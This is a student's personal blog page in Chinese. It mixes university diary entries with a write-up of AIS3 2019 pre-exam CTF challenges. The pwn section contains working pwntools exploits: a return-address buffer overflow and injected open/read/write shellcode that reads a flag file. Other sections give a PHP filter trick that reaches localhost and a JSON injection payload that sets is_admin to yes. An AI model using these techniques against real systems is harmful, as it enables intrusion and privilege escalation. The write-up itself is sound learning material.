Diary27

復活聲明

  • 很明顯天天寫日記的計畫已失敗,也大概三四個月沒更新了,課業繁忙到不想打日記了,終於要來更新了。

活動

  • 目前已完成NCPU,之後會補上近日心得。
  • 之前AIS3的writeup以補上
  • 歡迎來光顧我與同隊的同胞做的專案

一些心得

  • 差不多放了兩個禮拜的暑假了,前陣子都在期末考周,幾乎天天都留在學校念書,再前一陣子也在忙專案的一些事情,這學期真的累到不行。放完暑假後,沒什麼力氣打code,也給自己放空了很久,然後才想到我的網站都毫無更新QQ。

留言與分享

Pwn

Welcome BOF

  • 用objdump 或 ida 知道 [rbp-30h] ,必須壓過48 + 8 個byte,才能到return_address,但奇怪的是蓋48才過??

  • 然後要跳的這0000000000400687 <welcome_to_ais3_2019>

  • 利用pwntools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(arch = 'i386', os = 'linux')

host = 'pre-exam-pwn.ais3.org'
port = 10001

r = remote(host, port)

p = 0x0000000000400687
payload = p64(p)


r.recvline()
r.sendline('A'*48 + payload)

r.interactive()

ORW

  • x86-64的結構
  • 裡用shellcraft產的shell-code,注入輸入點
  • 一樣查看buffer-overflow的點,跳到.data的address0x00000000006010A0,利用ida查看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(arch = 'amd64', os = 'linux')


host = 'pre-exam-pwn.ais3.org'
port = 10001

r = remote(host, port)

# debug
'''
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
gdb.attach(p)
'''


shellcode = ''
shellcode += shellcraft.pushstr('/home/orw/flag')
shellcode += shellcraft.open('rsp', 0, 0)
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)

'''
log.info(shellcode)
'''

log.info(shellcode)
r.recvline()

r.sendline(asm(shellcode))
r.recvline()
p = 0x00000000006010A0
r.sendline('A'*40 + p64(p))
r.interactive()

reverse

Trivial

  • 用ida組出flag

web

SimpleWindow

  • 須利用離線版查看,可利用chorme工具改成offline顯示

Hidden

  • 在console中跑jscode,運行r()的function

d1v1n6

  • phpfilter,把index.php打包起來
  • decode之後發現不能用127.0.0.1,0.0.0.0
  • filter 包起 http://localhost
  • decode出來就是結果

Crypto

TCash

  • 將上面的ascii字元用md5 & sha256照做一次,會有一張表
  • 將兩個的結果做比對,取交集就是flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from hashlib import md5,sha256
cand = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ1234567890@,- _{}'

md5dic = {}
sha256dic = {}
'''
f = open('news.txt','w')
f2 = open('news2.txt','w')
'''
md5s = [41, 63, 46, 51, 6, 26, 42, 50, 44, 33, 29, 50, 27, 28, 30, 17, 31, 19, 46, 50, 33, 45, 26, 26, 29, 31, 52, 33, 1, 45, 31, 22, 50, 50, 50, 50, 50, 31, 22, 50, 44, 26, 44, 49, 50, 49, 26, 45, 31, 30, 22, 44, 30, 31, 17, 50, 50, 50, 31, 43, 52, 50, 53, 31, 30, 17, 26, 31, 46, 41, 44, 26, 31, 52, 50, 30, 31, 26, 39, 31, 46, 33, 27, 1, 42, 50, 31, 30, 12, 26, 27, 52, 31, 30, 12, 31, 46, 26, 27, 14, 50, 31, 22, 52, 33, 31, 41, 50, 46, 31, 22, 23, 41, 31, 53, 26, 21, 31, 33, 30, 31, 19, 39, 51, 33, 30, 39, 51, 12, 58, 60, 31, 41, 33, 53, 31, 3, 17, 50, 31, 51, 26, 29, 52, 31, 33, 22, 26, 31, 41, 51, 54, 41, 29, 52, 31, 19, 23, 33, 30, 44, 26, 27, 38, 8, 50, 29, 15]
sha256s = [61, 44, 3, 14, 22, 41, 43, 30, 49, 59, 58, 30, 11, 3, 24, 35, 40, 46, 3, 42, 59, 36, 41, 41, 41, 40, 9, 59, 23, 36, 40, 33, 42, 42, 42, 42, 42, 40, 44, 42, 49, 24, 49, 28, 42, 33, 24, 36, 40, 24, 33, 10, 24, 40, 35, 42, 42, 42, 40, 39, 9, 42, 3, 40, 24, 35, 24, 40, 3, 61, 49, 24, 40, 9, 42, 24, 40, 41, 17, 40, 12, 57, 11, 23, 43, 42, 40, 24, 18, 41, 11, 9, 40, 24, 18, 40, 3, 41, 11, 12, 42, 40, 44, 9, 59, 40, 61, 42, 3, 40, 44, 13, 61, 40, 3, 24, 29, 40, 59, 24, 40, 19, 18, 6, 59, 24, 18, 6, 22, 0, 39, 40, 61, 57, 3, 40, 17, 35, 42, 40, 58, 24, 58, 9, 40, 59, 44, 24, 40, 61, 48, 52, 61, 58, 9, 40, 19, 13, 59, 24, 53, 41, 11, 55, 55, 42, 58, 18]


for i in cand:
md5dic.setdefault(int(md5(i.encode()).hexdigest(),16) % 64, []).append(i)
sha256dic.setdefault(int(sha256(i.encode()).hexdigest(),16) % 64, []).append(i)

for i, j in zip(md5s, sha256s):
for ii in md5dic[i]:
if ii in sha256dic[j]:
print(str(ii), end='') # print(md5dic[i], sha256dic[j], end='\n\n')

Misc

Welcome

  • 簽到題

KcufsJ

  • 將code reverse 然後 run

Are you admin?

  • command injection
    • 讓name 對到 fucker
    • is_admin 對到 yes
    • 接下來讓隨便的東西對到dictionary,才能將is_admin做忽略
    • 最後再補上一個對照,因為最後有個引號

{\"name\":\"#{name}\",\"is_admin\":\"no\", \"age\":\"#{age}\"}

  • fucker","is_admin":"yes","2":{"a":"b
  • 18"},"1":"2

留言與分享

Diary26

今日課程

  • 微分方程
  • web

今日體驗

  • 上禮拜期中考周,就沒有天天更新了QQ。拿到了成績也警惕自己要天天算題目,一直忙於其他東西疏忽了練習,讓我這次考的沒有很好。web的PWA也是蠻茫的,又是陷入了低潮時期。不過考完試三天就把與惡看完真的頗爽的,雖然現在相當空虛。

今日做到的事情

  • 微分方程
  • 心靈休息

留言與分享

Diary25

今日課程

  • 作業系統
  • Pygame

今日體驗

  • 我覺得作業系統跟泛型應該是我最難捉摸的,有很大部分都還蠻茫的。不過日子要過,笑得過也是一天,還是笑著過生活好。今天是Pygame展出的日子,工時長達一個月左右,雖然我的code寫得真的糞到笑,但我真的很努力在吸收了。展出也蠻順利的,雖然我打了30場以上自己的遊戲,打到手都痛了。晚上自辦賽只寫了一題,另外那題讀不太懂意思,然後找到的規律很像也有問題,是不是有危機了呢?

Pygame-Rifleman 分享

https://github.com/william31212/Pygame

今日做到的事情

  • 順利展出
  • 心靈休息

留言與分享

Diary24

今日課程

  • 泛型
  • 防身術

今日體驗

  • 泛型是不是要GG惹,有一大堆東西都還沒有熟,有想退選的念頭。防身術也是下星期期中考,不過覺得蠻好玩的,比起其他科還有和藹可親許多。

今日做到的事情

  • 演算法
  • 計組Booth’s algorithm

留言與分享

Diary23

九天都沒更新,有點混XD

今日課程

  • 工數
  • web

九天分享

  • 一次放就放了9天,結果時間也過得很快,中間也沒念到甚麼書,然後投資蠻多時間在Pygame上面,還記得第一天去比賽,然後就幾乎都在家,清明連假有去掃墓這樣。

今日體驗

  • 放了九天的腦袋真的不是普通的爛,腦袋有點混沌,然後老師今天都沒出錯,所以加零分。下午web有小考,考的都跟考古一樣,很像有講到JQuery的東西ㄅ,不過沒什麼專心聽。覺得現在在還債,都沒唸書的下場QQQ

今日做到的事情

  • 念演算法

留言與分享

Diary22

今日課程

  • 演算法
  • 英文

今日體驗

  • 明天開始是大學生的九天連假,不過我猜只能在家打code,pygame的專案下禮拜要展出,然後星期五的演算法也要考,覺得快喘不過氣了,希望能撐得住,明天也有比賽要打,希望能過順利。接下來九天應該不定期更新

今日做到的事情

  • 念演算法

留言與分享

Diary21

今日課程

  • 科技管理
  • 計算機組織
  • NISRA

今日體驗

  • 凌晨兩點還是寫了日記,早上通識做pygame,下午計算機組織joseph考的水水的,不知道會不會烙賽,晚上NISRA是chess上php,不過我得忙著做web作業,結果我的作業都是howhow耶

我的作業分享

今日做到的事情

  • web作業

留言與分享

Diary20

今日課程

  • 只有視訊處理

今日體驗

  • 今天睡到飽,起來就是打pygame,去圖書館打pygame,到學校後小念計組,念完覺得要去祭祖,單壓乘一,加一個諧音梗,怎麼那麼優質,然後還是打Pygame,晚上在做封面耶

封面分享

今日做到的事情

  • Pygame and Pygame and Pygame
  • 計組甚麼就算了

留言與分享

Diary19

今日課程

  • 泛型
  • 防身術
  • CPE

在此致歉

  • 這次比賽又遇到最小生成樹了,我又忘記怎麼寫了,在此向大眾懺悔

今日體驗

  • 明天早上放假耶,不過還是要做pygame。早上試著把泛型作業弄一弄,剩下一個小部分還沒弄完,然後似乎老師要考筆試,我覺得要完蛋了。今天防身術真的累到不行,老師一直不斷地要我們踢腳,打拳,覺得有一種眼冒金星的感覺,不過運動完真的比較舒服一點,又讓我想起以前每天下課打排球的感覺,打到天黑才回家。CPE這次題目比較簡單一點,不過沒有把spanning tree刻出來真的該被打哀,老師都講過好幾次了,覺得可惜。

感謝某位人士提供當年打球照片

今日做到的事情

  • 寫泛型作業
  • pygame

留言與分享

作者的圖片

halloworld

Welcome halloworld’s website


fju-csie: grade 3


NewTaipei